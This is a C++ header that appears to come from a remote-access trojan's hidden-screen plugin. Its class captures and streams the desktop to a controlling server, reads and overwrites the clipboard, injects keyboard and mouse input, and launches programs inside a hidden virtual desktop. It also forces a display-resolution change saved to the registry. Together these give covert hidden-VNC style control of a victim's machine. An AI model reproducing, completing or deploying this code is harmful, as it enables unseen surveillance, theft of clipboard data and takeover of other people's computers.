#pragma once #include "Manager.h" #include "ScreenCapture.h" #include #include #include class IOCPClient; namespace SimplePluginsScreenHide { class CScreenManagerBase : public CManager { public: // 构造和析构 CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL, int token= TOKEN_BITMAPINFO) : CManager(ClientObject) { m_DlgToken = token; g_hDesk = nullptr; m_DesktopID = GetBotId(); m_ptrUser = user; m_ScreenSpyObject = nullptr; m_biBitCount = nBitDepth; m_fps = 10; m_bIsWorking = TRUE; m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN); m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN); m_point = {}; m_lastPoint = {}; m_lmouseDown = FALSE; m_hResMoveWindow = nullptr; m_resMoveType = 0; m_rmouseDown = FALSE; m_rclickPoint = {}; m_rclickWnd = nullptr; m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL); m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL); SetReady(TRUE); } virtual ~CScreenManagerBase() { m_bIsWorking = FALSE; WaitForSingleObject(m_hWorkThread, INFINITE); WaitForSingleObject(m_hBlankThread, INFINITE); CloseHandle(m_hWorkThread); m_hWorkThread = NULL; CloseHandle(m_hBlankThread); m_hBlankThread = NULL; SAFE_DELETE(m_ScreenSpyObject); if (g_hDesk) { auto b = CloseDesktop(g_hDesk); g_hDesk = NULL; Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str()); } } public: // 非纯虚函数 virtual BOOL SendFirstScreen() { ULONG len = 0; auto data = m_ScreenSpyObject->GetFirstScreenData(&len); if (nullptr == data) { return FALSE; } return m_ClientObject->Send2Server((char*)data, 1 + len); } virtual bool IsMetricsChange() { if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) { if (m_oldwidth == 0 || m_oldheigh == 0) { return false; } m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN); m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN); return true; } return false; } virtual void Loop_Screen() { // 获取分辨率 int _cx = ::GetSystemMetrics(SM_CXSCREEN); int _cy = ::GetSystemMetrics(SM_CYSCREEN); // 修改分辨率 DEVMODE lpDevMode; lpDevMode.dmBitsPerPel = 32;//每个像素的位数 lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素) lpDevMode.dmPelsHeight = 900;//屏幕高度(像素) lpDevMode.dmSize = sizeof(lpDevMode); lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL; LONG result = ChangeDisplaySettings(&lpDevMode, 0); if (result == DISP_CHANGE_SUCCESSFUL) { ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY); } else { ChangeDisplaySettings(NULL, 0); } } virtual bool IsConnect() { return m_ClientObject->IsRunning(); } virtual int GetCurrentPixelBits() { return m_biBitCount; } virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) { return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength); } virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) { m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength); } virtual void ResetScreen(int biBitCount = 32) { InterlockedExchange((LPLONG)&m_bIsWorking, FALSE); WaitForSingleObject(m_hWorkThread, INFINITE); CloseHandle(m_hWorkThread); SAFE_DELETE(m_ScreenSpyObject); m_biBitCount = biBitCount; m_bIsWorking = TRUE; m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); } virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) { if (!OpenClipboard(NULL)) return; EmptyClipboard(); HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength); if (hGlobal != NULL) { LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal); if (szClipboardVirtualAddress) memcpy(szClipboardVirtualAddress, szBuffer, ulLength); GlobalUnlock(hGlobal); if (NULL == SetClipboardData(CF_TEXT, hGlobal)) GlobalFree(hGlobal); } CloseClipboard(); } virtual VOID SendClientClipboard() { if (!OpenClipboard(NULL)) //打开剪切板设备 return; HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存 if (hGlobal == NULL) { CloseClipboard(); return; } int iPacketLength = GlobalSize(hGlobal) + 1; char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定 LPBYTE szBuffer = new BYTE[iPacketLength]; szBuffer[0] = TOKEN_CLIPBOARD_TEXT; memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1); GlobalUnlock(hGlobal); CloseClipboard(); m_ClientObject->Send2Server((char*)szBuffer, iPacketLength); delete[] szBuffer; } virtual DWORD WorkProcess() { CScreenManagerBase* This = this; This->InitScreenSpy(); This->SendBitMapInfo(); if (This->m_bIsWorking) This->WaitForDialogOpen(); This->SendScreenSize(); clock_t last = clock(); if (!This->SendFirstScreen()) { Mprintf("Send first screen failed!!!\n"); return 0x20250224; } Mprintf("Succeed sending bmpInfo and first screen\n"); float fps = This->m_fps; const int sleep = 1000 / fps;// 间隔时间(ms) int c1 = 0; // 连续耗时长的次数 int c2 = 0; // 连续耗时短的次数 int s0 = sleep; // 两帧之间隔(ms) const int frames = fps; // 每秒调整屏幕发送速度 const double alpha = 1.1; // 控制fps的因子 timeBeginPeriod(1); while (This->m_bIsWorking) { ULONG ulNextSendLength = 0; LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength); if (NULL == szBuffer) { continue; } int span = s0 - (clock() - last); Sleep(span > 0 ? span : 1); if (span < 0) { // 发送数据耗时较长,网络较差或数据较多 c2 = 0; if (frames == ++c1) { // 连续一定次数耗时长 s0 = (s0 <= 500) ? s0 * alpha : s0; c1 = 0; #ifdef _DEBUG if (s0 > 40) Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0); #endif } } else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小 c1 = 0; if (frames == ++c2) { // 连续一定次数耗时短 s0 = (s0 >= 40) ? s0 / alpha : s0; c2 = 0; #ifdef _DEBUG if (s0 > 40) Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0); #endif } } last = clock(); This->SendNextScreen(szBuffer, ulNextSendLength); } timeEndPeriod(1); Mprintf("ScreenWorkThread Exit\n"); return 0; } virtual DWORD ControlProcess() { CScreenManagerBase* pThis = this; pThis->WaitForDialogOpen(); while (pThis->IsConnect() && pThis->m_bIsWorking) { // 分辨率大小改变了 if (pThis->IsMetricsChange() && pThis->m_bIsWorking) { pThis->ResetScreen(pThis->GetCurrentPixelBits()); Sleep(2000); } Sleep(10); } return -1; } static DWORD WINAPI WorkThreadProc(LPVOID lParam) { CScreenManagerBase* pThis = (CScreenManagerBase*)lParam; return pThis->WorkProcess(); } static DWORD WINAPI ControlThread(LPVOID lparam) { CScreenManagerBase* pThis = (CScreenManagerBase*)lparam; return pThis->ControlProcess(); } std::wstring ConvertToWString(const std::string& multiByteStr) { int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0); if (len == 0) return L""; // 转换失败 std::wstring wideStr(len, L'\0'); MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len); return wideStr; } std::string GetTitle(HWND hWnd) { char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存) GetWindowTextA(hWnd, title, sizeof(title)); return title; } virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) { bool bReturn = false; try { if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName)) return false; TCHAR szDirectoryName[MAX_PATH * 2] = { 0 }; TCHAR szExplorerFile[MAX_PATH * 2] = { 0 }; strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath); std::wstring path = ConvertToWString(pszApplicationFilePath); if (!PathIsExe(path.c_str())) return false; PathRemoveFileSpec(szDirectoryName); STARTUPINFO sInfo = { 0 }; PROCESS_INFORMATION pInfo = { 0 }; sInfo.cb = sizeof(sInfo); sInfo.lpDesktop = pszDesktopName; //Launching a application into desktop BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, szDirectoryName, &sInfo, &pInfo); CloseHandle(pInfo.hProcess); CloseHandle(pInfo.hThread); TCHAR* pszError = NULL; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL); if (pszError) { Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError); LocalFree(pszError); // 释放内存 } if (bCreateProcessReturn) bReturn = true; } catch (...) { bReturn = false; } return bReturn; } virtual VOID SendBitMapInfo() { const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER); LPBYTE szBuffer = new BYTE[ulLength]; szBuffer[0] = m_DlgToken; memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); m_ClientObject->Send2Server((char*)szBuffer, ulLength); SAFE_DELETE_ARRAY(szBuffer); } virtual void SendScreenSize() { RECT rect = m_ScreenSpyObject->GetScreenRect(); BYTE lpBuffer[sizeof(RECT) + 1]; lpBuffer[0] = TOKEN_SCREEN_SIZE; memcpy(lpBuffer + 1, &rect, sizeof(RECT)); Send(lpBuffer, sizeof(lpBuffer)); } virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) { int msgSize = sizeof(MYMSG); if (ulLength % 28 == 0) // 32位控制端发过来的消息 msgSize = 28; else if (ulLength % 48 == 0) // 64位控制端发过来的消息 msgSize = 48; else return; // 数据包不合法 ULONG ulMsgCount = ulLength / msgSize; BYTE* ptr = szBuffer; MSG32 msg32; MSG64 msg64; if (nullptr == g_hDesk) { // 命令个数 // 处理多个命令 for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr : (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); switch (Msg->message) { case WM_LBUTTONDOWN: case WM_LBUTTONUP: case WM_RBUTTONDOWN: case WM_RBUTTONUP: case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK: case WM_MBUTTONDOWN: case WM_MBUTTONUP: case WM_MOUSEMOVE: { POINT Point; Point.x = LOWORD(Msg->lParam); Point.y = HIWORD(Msg->lParam); m_ScreenSpyObject->PointConversion(Point); SetCursorPos(Point.x, Point.y); SetCapture(WindowFromPoint(Point)); } break; default: break; } switch (Msg->message) { case WM_LBUTTONDOWN: mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); break; case WM_LBUTTONUP: mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); break; case WM_RBUTTONDOWN: mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); break; case WM_RBUTTONUP: mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); break; case WM_LBUTTONDBLCLK: mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); break; case WM_RBUTTONDBLCLK: mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); break; case WM_MBUTTONDBLCLK: mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); break; case WM_MBUTTONDOWN: mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0); break; case WM_MBUTTONUP: mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0); break; case WM_MOUSEWHEEL: mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0); break; case WM_KEYDOWN: case WM_SYSKEYDOWN: keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0); break; case WM_KEYUP: case WM_SYSKEYUP: keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0); break; default: break; } } } else { // 虚拟桌面 HWND hWnd = NULL; BOOL mouseMsg = FALSE; POINT lastPointCopy = {}; SetThreadDesktop(g_hDesk); for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr : (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize)); switch (msg->message) { case WM_KEYUP: return; case WM_CHAR: case WM_KEYDOWN: { m_point = m_lastPoint; hWnd = WindowFromPoint(m_point); break; } case WM_RBUTTONDOWN: { // 记录右键按下时的坐标 m_rmouseDown = TRUE; m_rclickPoint = msg->pt; break; } case WM_RBUTTONUP: { m_rmouseDown = FALSE; m_rclickWnd = WindowFromPoint(m_rclickPoint); // 检查是否为系统菜单(如任务栏) char szClass[256] = { 0 }; GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd); if (strcmp(szClass, "Shell_TrayWnd") == 0) { // 触发系统级右键菜单(任务栏) PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); } else { // 普通窗口的右键菜单 if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) keybd_event(VK_SHIFT, 0, 0, 0); keybd_event(VK_F10, 0, 0, 0); keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); } } break; } default: { mouseMsg = TRUE; m_point = msg->pt; hWnd = WindowFromPoint(m_point); lastPointCopy = m_lastPoint; m_lastPoint = m_point; if (msg->message == WM_LBUTTONUP) { if (m_rclickWnd && hWnd != m_rclickWnd) { PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0); m_rclickWnd = nullptr; } m_lmouseDown = FALSE; LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); switch (lResult) { case HTTRANSPARENT: { SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED); lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); break; } case HTCLOSE: {// 关闭窗口 PostMessageA(hWnd, WM_CLOSE, 0, 0); Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } case HTMINBUTTON: {// 最小化 PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } case HTMAXBUTTON: {// 最大化 WINDOWPLACEMENT windowPlacement; windowPlacement.length = sizeof(windowPlacement); GetWindowPlacement(hWnd, &windowPlacement); if (windowPlacement.flags & SW_SHOWMAXIMIZED) PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0); else PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0); Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } } } else if (msg->message == WM_LBUTTONDOWN) { m_lmouseDown = TRUE; m_hResMoveWindow = NULL; RECT startButtonRect; HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); GetWindowRect(hStartButton, &startButtonRect); if (PtInRect(&startButtonRect, m_point)) { PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击 continue; } else { char windowClass[MAX_PATH] = { 0 }; RealGetWindowClassA(hWnd, windowClass, MAX_PATH); if (!lstrcmpA(windowClass, "#32768")) { HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0); int itemPos = MenuItemFromPoint(NULL, hMenu, m_point); int itemId = GetMenuItemID(hMenu, itemPos); PostMessageA(hWnd, 0x1e5, itemPos, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0); continue; } } } else if (msg->message == WM_MOUSEMOVE) { if (!m_lmouseDown) continue; if (!m_hResMoveWindow) m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); else hWnd = m_hResMoveWindow; int moveX = lastPointCopy.x - m_point.x; int moveY = lastPointCopy.y - m_point.y; RECT rect; GetWindowRect(hWnd, &rect); int x = rect.left; int y = rect.top; int width = rect.right - rect.left; int height = rect.bottom - rect.top; switch (m_resMoveType) { case HTCAPTION: { x -= moveX; y -= moveY; break; } case HTTOP: { y -= moveY; height += moveY; break; } case HTBOTTOM: { height -= moveY; break; } case HTLEFT: { x -= moveX; width += moveX; break; } case HTRIGHT: { width -= moveX; break; } case HTTOPLEFT: { y -= moveY; height += moveY; x -= moveX; width += moveX; break; } case HTTOPRIGHT: { y -= moveY; height += moveY; width -= moveX; break; } case HTBOTTOMLEFT: { height -= moveY; x -= moveX; width += moveX; break; } case HTBOTTOMRIGHT: { height -= moveY; width -= moveX; break; } default: continue; } MoveWindow(hWnd, x, y, width, height, FALSE); m_hResMoveWindow = hWnd; continue; } break; } } for (HWND currHwnd = hWnd;;) { hWnd = currHwnd; ScreenToClient(currHwnd, &m_point); currHwnd = ChildWindowFromPoint(currHwnd, m_point); if (!currHwnd || currHwnd == hWnd) break; } if (mouseMsg) msg->lParam = MAKELPARAM(m_point.x, m_point.y); PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam); } } } public: // 纯虚函数 virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0; virtual void InitScreenSpy() = 0; HDESK g_hDesk; std::string m_DesktopID; void* m_ptrUser; ScreenCapture* m_ScreenSpyObject; BOOL m_bIsWorking; long m_oldwidth, m_oldheigh; int m_biBitCount; int m_fps; int m_DlgToken; // 这个值决定打开哪个对话框 HANDLE m_hWorkThread, m_hBlankThread; // 虚拟桌面 POINT m_point; POINT m_lastPoint; BOOL m_lmouseDown; HWND m_hResMoveWindow; LRESULT m_resMoveType; BOOL m_rmouseDown; // 标记右键是否按下 POINT m_rclickPoint; // 右键点击坐标 HWND m_rclickWnd; // 右键窗口 }; } // namespace SimplePluginsScreenHide